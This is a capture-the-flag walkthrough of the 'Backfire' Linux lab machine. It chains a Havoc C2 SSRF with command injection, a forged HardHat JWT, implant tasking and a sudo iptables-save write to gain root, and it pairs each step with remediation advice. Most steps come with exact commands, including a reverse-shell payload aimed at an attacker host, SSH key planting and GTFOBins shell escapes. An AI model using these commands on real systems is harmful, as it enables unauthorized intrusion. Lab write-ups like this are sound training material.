← all walkthroughs

Backfire

Linux· Medium
owned
2026-09-04
time to own
1h34m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My found an nginx directory listing on port 8000 that leaked a Havoc C2 teamserver configuration file, exposing operator credentials and the location of a loopback-only management socket. Chaining that with Havoc's CVE-2024-41570 SSRF-to-command-injection flaw let me reach the firewalled teamserver and inject a shell command during a demon build, planting an SSH key for the user ilya and gaining a foothold.

From there, a second internal C2 platform, HardHat, was found running on loopback ports with a hardcoded default JWT signing secret baked into its public source code; forging an admin token bypassed authentication entirely, and the resulting session was used to task an active implant to plant ilya's SSH key into the second operator account, sergej. Finally, sergej held unrestricted sudo rights over iptables-save, which was abused to write an SSH key straight into root's authorized_keys file, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceInformation disclosure via unauthenticated directory listing
Found an exposed C2 config on an open directory listing
A port scan showed only SSH, an HTTPS nginx vhost on 443, and a second nginx instance on 8000. The 8000 service served a plain directory listing containing a Havoc C2 patch file and its teamserver configuration, which disclosed operator credentials for two accounts (ilya and sergej) and the loopback address/port of the Havoc management socket.
8000/tcp nginx directory listing returned [REDACTED: recovered credential] (revealing the Havoc websocket bound to 127.0.0.1:40056) and havoc.yaotl (operator creds ilya:[REDACTED: recovered credential] and sergej:[REDACTED: recovered credential], demon listener on 8443).
Exact commands 4
Full port scan; only 22, 443, 8000 open.
nmap -p- -sV $TARGET
Directory listing on the second nginx instance.
curl -s http://$TARGET:8000/
Leaked patch note pointing at the Havoc teamserver loopback socket.
curl -s http://$TARGET:8000/$PASSWORD4 -o $PASSWORD4
Leaked Havoc config with operator credentials for ilya and sergej.
curl -s http://$TARGET:8000/havoc.yaotl -o havoc.yaotl
FixDisable directory listing and remove secrets from web-served pathsHigh
Weaknessnginx on port 8000 served a plain directory listing that exposed a Havoc C2 configuration file and patch note, disclosing operator credentials and the internal teamserver's loopback address to anyone who requested the URL.
FixSet autoindex off; on every nginx location block, remove configuration/credential files from any web-served directory, and store secrets in a vault or environment variables outside the document root. Audit all exposed vhosts for stray build artifacts before deployment.
2ExploitationCVE-2024-41570 — Havoc C2 unauthenticated SSRF to loopback teamserver, chained with build-parameter OS command injection
Abused a Havoc C2 SSRF and build-command injection to plant an SSH key as ilya
The Havoc demon callback handler processes agent-registration fields without validation, letting a request to the public 443/8443 listener act as an SSRF into the firewalled teamserver management socket at 127.0.0.1:40056. Once authenticated over that tunneled connection with the leaked ilya credentials, a demon Build request was issued with a shell command spliced into the unsanitized Service Name field, breaking out of the MinGW compiler command line to run arbitrary commands as the service user. That command appended an me-generated SSH public key to ilya's authorized_keys, giving a stable foothold.
Grep of /tmp/havoc_canonical_key.py shows cmd="mkdir -p /home/ilya/.ssh; printf '%s\n' 'ssh-ed25519 AAAAC3...' >> /home/ilya/.ssh/authorized_keys"; subsequent SSH as ilya returned uid=1000(ilya).
Exact commands 8
Generate the key to be planted.
ssh-keygen -q -t ed25519 -f /tmp/backfire_ilya_20260904 -N '' -C backfire-ilya-20260904
Staged CVE-2024-41570 PoC — registers a fake demon on the public 443/8443 listener and opens a socket to the loopback teamserver (40056).
python3 /opt/ptest/arsenal/Havoc-C2-SSRF-poc/exploit.py -h
Havoc hashes the login password with SHA3-256 for the management websocket.
python3 -c "import hashlib; print(hashlib.sha3_256(b'$PASSWORD').hexdigest())"
Authenticate to the Havoc management API as ilya.
# over the SSRF-tunneled /havoc/ websocket, send SubEvent-3: {"User":"ilya","Password":"<sha3_256_hash>"}
Command injection in the build's compiler invocation; -mbla aborts compilation fast so stderr shows output.
# create a Demon listener, then submit a Build with Service Name: \" -mbla; echo <base64_of:"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1"> | base64 -d | bash 1>&2 && false #
Catch the reverse shell as ilya.
nc -lvnp 443
Confirm foothold: uid=1000(ilya).
ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET id
Replace with <user.txt>.
ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET cat /home/ilya/user.txt
FixPatch Havoc C2 and firewall its management socketCritical
WeaknessThe Havoc demon callback handler processed agent-registration data without validating origin, allowing SSRF into the loopback-only teamserver, and the demon Build request's Service Name field was spliced unsanitized into the compiler invocation, allowing OS command injection.
FixUpgrade Havoc to a version with the CVE-2024-41570 fix, validate and allowlist all build-configuration fields before they reach the compiler, and bind the teamserver management port strictly to a trusted management interface with authentication required before any socket interaction.
3Post-Exploitation EnumerationInternal service discovery from a low-privilege shell
Discovered a second internal C2 platform (HardHat) on loopback ports
From the ilya shell, listening sockets showed two additional loopback-only .NET/Kestrel services owned by sergej: the HardHat C2 TeamServer REST API on 5000 and its web UI on 7096. Pulling the TeamServer's Swagger document mapped the full API, including login, user-registration, and implant tasking/terminal endpoints.
Ss -lnt showed 127.0.0.1:5000 and 127.0.0.1:7096 owned by sergej's dotnet processes; swagger.json listed /Login, /Login/Register, /Login/{username}, /Implants/tasks, etc.
Exact commands 3
Enumerate listening ports and confirm no direct sudo path.
ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET 'ss -lnt; sudo -n -l'
Pull the HardHat TeamServer API definition.
ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET 'curl -ksS https://127.0.0.1:5000/swagger/v1/swagger.json' > backfire_hardhat_swagger.json
List available endpoints.
jq -r '.paths|keys[]' backfire_hardhat_swagger.json
4Privilege Escalation / Lateral MovementUse of hardcoded/default cryptographic secret to forge authentication tokens (CWE-798 / T1552.001)
Forged a HardHat admin JWT using its hardcoded default signing secret
HardHat C2 ships a hardcoded JWT signing secret and issuer in its public source repository. Because the secret was never rotated on this deployment, a valid admin-scoped bearer token could be minted offline with any signing library and used directly against the TeamServer API — no password login was ever required, and normal credential attempts against /Login failed while the forged token succeeded on every protected endpoint, including creating a new privileged TeamLead user.
Forged token via /tmp/backfire_forge_jwt.py accepted by POST /Login/Register -> HTTP 200 'User codexlead0904 created'; plaintext /Login attempts with guessed passwords returned 401 'Login failed'.
Exact commands 3
Forge an admin JWT with HardHat's hardcoded default secret and issuer (PyJWT).
python3 -c "import jwt; print(jwt.encode({'sub':'HardHat_Admin','iss':'hardhatc2.com'}, '$PASSWORD5', algorithm='HS256'))"
Capture the forged token.
TOKEN=$(python3 /tmp/backfire_forge_jwt.py)
Use the forged token to register a privileged TeamLead account.
ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET "curl -ksS -i https://127.0.0.1:5000/Login/Register -H 'Authorization: Bearer $TOKEN' -H 'Content-Type: application/json' --data '{\"username\":\"codexlead0904\",\"password\":\"$PASSWORD6\",\"role\":\"TeamLead\"}'"
FixReplace HardHat C2's hardcoded JWT signing secret with a unique, rotated secretCritical
WeaknessHardHat TeamServer used the default JWT signing secret and issuer shipped in its public source repository, unchanged in this deployment, so anyone who read the open-source code could forge a valid admin token and bypass authentication entirely.
FixGenerate a unique, high-entropy signing secret per deployment at install time, load it from a secrets manager or environment variable excluded from version control, rotate it periodically, and reject tokens signed with any secret not explicitly provisioned for that instance.
5Lateral MovementC2 implant task abuse for lateral movement (T1021.004 — SSH)
Used the forged-JWT session to task a live implant and pivot to sergej
With the forged admin session, the Implants task/terminal API was driven to issue a shell command through an active HardHat implant running as sergej, appending ilya's SSH public key to sergej's authorized_keys. This gave direct SSH access as sergej, the account that owned the HardHat services and file paths that were previously inaccessible to ilya.
CMDVAL captured: mkdir -p /home/sergej/.ssh; printf '%s\n' '<ilya pubkey>' >> /home/sergej/.ssh/authorized_keys; chmod 700 /home/sergej/.ssh — issued via the terminal task API using the forged-JWT session.
Exact commands 3
Drives POST /Implants/{ImplantId}/tasks with the forged Bearer token to task a live implant.
python3 /tmp/hardhat_terminal_key_ui.py /tmp/backfire_hardhat_swagger.json
Command executed by the implant as sergej.
# task payload: mkdir -p /home/sergej/.ssh; printf '%s\n' '<ilya ed25519 pubkey>' >> /home/sergej/.ssh/authorized_keys; chmod 700 /home/sergej/.ssh; chmod 600 /home/sergej/.ssh/authorized_keys
Confirm the pivot: uid=1000(sergej).
ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET id
6Privilege Escalationsudo GTFOBins abuse — iptables-save arbitrary root file write (T1548.003)
Abused unrestricted sudo on iptables-save to write a root SSH key
Sergej held passwordless sudo rights over /usr/sbin/iptables and /usr/sbin/iptables-save. These binaries are not a shell, but iptables-save -f writes the current ruleset as root to any file path given, and the -A rule's --comment field accepts arbitrary text including embedded newlines. Smuggling an SSH public key into a rule comment and then saving the ruleset to /root/.ssh/authorized_keys planted a root-trusted key, giving a direct root shell.
Sudo -l would show (root) NOPASSWD: /usr/sbin/iptables, /usr/sbin/iptables-save; pattern confirmed as 'sudo-gtfobins' for this engagement.
Exact commands 6
Confirm NOPASSWD rights on iptables/iptables-save.
ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo -n -l'
Generate a fresh key for root access.
ssh-keygen -t ed25519 -f /tmp/k -N ''
Smuggle the SSH public key into an iptables rule comment.
ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo /usr/sbin/iptables -A INPUT -i lo -m comment --comment "$(printf "\n%s\n" "$(cat /tmp/k.pub)")"'
Save the ruleset (embedding the key) directly over root's authorized_keys.
ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys'
Confirm root: uid=0(root).
ssh -i /tmp/k root@$TARGET id
Replace with <root.txt>.
ssh -i /tmp/k root@$TARGET cat /root/root.txt
FixRemove unrestricted sudo rights over iptables-saveCritical
WeaknessThe user sergej had passwordless sudo rights over /usr/sbin/iptables and /usr/sbin/iptables-save; iptables-save writes an unauthorised user-influenced content (including a key smuggled through a rule comment) to any file path as root, giving a trivial path to a root-trusted SSH key.
FixRemove iptables/iptables-save from sudoers NOPASSWD entries. If a non-root operator genuinely needs firewall control, grant it via a narrowly scoped wrapper script or the CAP_NET_ADMIN capability on a dedicated binary instead of full sudo access to iptables-save.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
443/tcp
8000/tcp